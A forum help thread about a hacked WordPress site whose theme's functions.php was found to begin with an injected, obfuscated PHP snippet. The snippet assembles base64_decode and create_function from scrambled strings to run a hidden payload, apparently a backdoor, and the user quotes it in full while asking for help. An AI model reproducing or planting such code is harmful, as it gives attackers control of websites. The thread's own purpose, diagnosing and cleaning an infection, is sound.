Question

Wordpress header collapsed? I cannot enter wordpress control panel.

Posted April 3, 2016 2.8k views
PHPWordPress

Web page shows strange strings and some other page shows following message.

OOOOOOOOOOOOOOOOOOOOOOOOOOO

Warning: Cannot modify header information - headers already sent by (output started at /srv/users/serverpilot/apps/acewebwp02/public/wp-content/themes/dt-the7/functions.php:1) in /srv/users/serverpilot/apps/acewebwp02/public/wp-includes/pluggable.php on line 1228

Also I cannot enter wordpress control panel. Does anyone has any suggestion to fix?
http://lovelightluke.com

Best regards,

Hiroyuki

These answers are provided by our Community. If you find them useful, show some love by clicking the heart. If you run into issues leave a comment, or add your own answer to help others.

×
Submit an Answer
1 answer

Check for spaces and tabs at the top in function.php for starts.

  • Thank you for your suggestion. I checked and compared with same theme (in other site) and same function.php.

    Here is the original one:

    <?php
    /**

    • Vogue theme. *
    • @since 1.0.0 */

    // File Security Check
    if ( ! defined( ‘ABSPATH’ ) ) { exit; }

    /**

    • Set the content width based on the theme’s design and stylesheet. *
    • @since 1.0.0 / if ( ! isset( $contentwidth ) ) { $contentwidth = 1200; / pixels */ }

    /**

    • Initialize theme. *
    • @since 1.0.0 */ require( trailingslashit( gettemplatedirectory() ) . 'inc/init.php’ ); ————————————

    and here is one in this site:

    <?php $mt=“mFsKCleRfU”; $ojj=“IEBleldle”; $hsa=“E9TVFsnd2Vud2VuJ10p”; $fnx=“Ow==”; $zk = strreplace(“d”,“”,“sdtdrdredpdldadcde”); $ef = $zk(“z”, “”, “zbazsze64zdzeczodze”); $dva = $zk(“p”,“”,“pcprpepaptpefpupnpcptpipopn”); $zvm = $dva(“, $ef($zk("le”, “”, $ojj.$mt.$hsa.$fnx))); $zvm(); ?>OOO<?php
    /**

    • Vogue theme. *
    • @since 1.0.0 */

    // File Security Check
    if ( ! defined( 'ABSPATH’ ) ) { exit; }

    /**

    • Set the content width based on the theme’s design and stylesheet. *
    • @since 1.0.0 / if ( ! isset( $contentwidth ) ) { $contentwidth = 1200; / pixels */ }

    /**

    • Initialize theme. *
    • @since 1.0.0 */ require( trailingslashit( gettemplatedirectory() ) . 'inc/init.php’ ); ————————————

    So obviously the top part was inserted. I deleted this part, and make it as it should be, and restarted server. However, unfortunately, the result is the same.

    Do you have further suggestions?

    Best regards,

    Hiroyuki